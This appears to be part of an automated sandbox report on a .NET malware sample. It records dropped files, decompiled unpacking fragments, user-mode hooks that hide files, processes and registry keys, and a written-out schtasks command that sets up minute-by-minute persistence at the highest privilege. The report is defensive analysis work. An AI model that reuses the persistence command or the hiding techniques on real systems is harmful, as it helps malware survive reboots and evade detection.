Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdb$g source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: *@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdbog source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Core.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERE551.tmp.dmp.8.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, didyoumissme.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Thelounge.Love,Thelounge.Feelings,Thelounge.SPL,Thelounge.KEY,Iloveyou.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, didyoumissme.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Iloveyou.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, didyoumissme.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, didyoumissme.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Thelounge.Love,Thelounge.Feelings,Thelounge.SPL,Thelounge.KEY,Iloveyou.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, didyoumissme.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Iloveyou.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, didyoumissme.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: r8k29DBraE.exe, -Module-.cs	.Net Code: wzcdetect System.Reflection.Assembly.Load(byte[])
Source: r8k29DBraE.exe, Program.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: r8k29DBraE.exe, Form1.cs	.Net Code: InitializeComponent contains xor as well as GetObject
Source: 1.2.r8k29DBraE.exe.2616e810000.11.raw.unpack, 2-eaq-rvqt-9ov-hv8-iamz6-p-.cs	.Net Code: _00200hv_00208r_EAF0q6_0020z7f_0020gj4_0D72k_0028u_0020p_EAF0_0020_0028p System.Reflection.Assembly.Load(byte[])
Source: 1.2.r8k29DBraE.exe.2611006dab0.2.raw.unpack, 2-eaq-rvqt-9ov-hv8-iamz6-p-.cs	.Net Code: _00200hv_00208r_EAF0q6_0020z7f_0020gj4_0D72k_0028u_0020p_EAF0_0020_0028p System.Reflection.Assembly.Load(byte[])
Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, didyoumissme.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, didyoumissme.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, didyoumissme.cs	.Net Code: Memory
Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, Iloveyou.cs	.Net Code: XMemory System.AppDomain.Load(byte[])
Source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, didyoumissme.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, didyoumissme.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, didyoumissme.cs	.Net Code: Memory
Source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, Iloveyou.cs	.Net Code: XMemory System.AppDomain.Load(byte[])

Source: r8k29DBraE.exe

Static PE information: 0xDB5F1B53 [Sat Aug 17 17:20:19 2086 UTC]

Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F31BADD push rcx; retf 003Fh	1_2_000002616F31BADE
Source: C:\Users\user\Desktop\wzcsvc.exe	Code function: 4_2_0000023EB6A0BADD push rcx; retf 003Fh	4_2_0000023EB6A0BADE
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_000002168199BADD push rcx; retf 003Fh	5_2_000002168199BADE
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00000216819CC6DD push rcx; retf 003Fh	5_2_00000216819CC6DE
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1CBADD push rcx; retf 003Fh	6_2_000001CA7D1CBADE
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1FC6DD push rcx; retf 003Fh	6_2_000001CA7D1FC6DE
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD3BADD push rcx; retf 003Fh	9_2_0000017D2DD3BADE
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD6C6DD push rcx; retf 003Fh	9_2_0000017D2DD6C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000022F4B90BADD push rcx; retf 003Fh	10_2_0000022F4B90BADE
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_0000013DE273C6DD push rcx; retf 003Fh	11_2_0000013DE273C6DE
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB8FED pushfq ; retf	14_2_00000262F1CB901A
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB901D pushfq ; retf	14_2_00000262F1CB902A
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CBA815 pushfq ; retf	14_2_00000262F1CBA822
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CBAFA5 pushfq ; retf	14_2_00000262F1CBAFF2
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB8FB9 pushfq ; retf	14_2_00000262F1CB8FBA
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB8FDD pushfq ; retf	14_2_00000262F1CB8F8A
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB8F9D pushfq ; retf	14_2_00000262F1CB8FAA
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB8F2D pushfq ; retf	14_2_00000262F1CB8F3A
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB8F3D pushfq ; retf	14_2_00000262F1CB8F4A
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB8F4D pushfq ; retf	14_2_00000262F1CB8F5A
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB8F5D pushfq ; retf	14_2_00000262F1CB8F6A
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB8EED pushfq ; retf	14_2_00000262F1CB8EFA
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CBA6F1 pushfq ; retf	14_2_00000262F1CBA6F2
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB8EFD pushfq ; retf	14_2_00000262F1CB8F0A
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB8F0D pushfq ; retf	14_2_00000262F1CB8F2A
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CBA6E1 pushfq ; retf	14_2_00000262F1CBA6E2
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CBC6DD push rcx; retf 003Fh	14_2_00000262F1CBC6DE
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CBAED5 pushfq ; retf	14_2_00000262F1CBAEE2
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CBAE75 pushfq ; retf	14_2_00000262F1CBAE92
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CBAE95 pushfq ; retf	14_2_00000262F1CBAEB2
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CBAE55 pushfq ; retf	14_2_00000262F1CBAE72

Source: r8k29DBraE.exe	Static PE information: section name: .text entropy: 7.739802708970689
Source: wzcsapi.exe.1.dr	Static PE information: section name: .text entropy: 7.614490853127165

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\lsass.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
Source: C:\Windows\System32\lsass.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

Source: C:\Users\user\Desktop\r8k29DBraE.exe	File created: C:\Users\user\Desktop\wzcsapi.exe			Jump to dropped file
Source: C:\Users\user\Desktop\r8k29DBraE.exe	File created: C:\Users\user\Desktop\wzcsvc.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\wzcsapi.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /rl highest /tn "wzcsapi" /tr "%Current%\wzcsapi.exe"

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
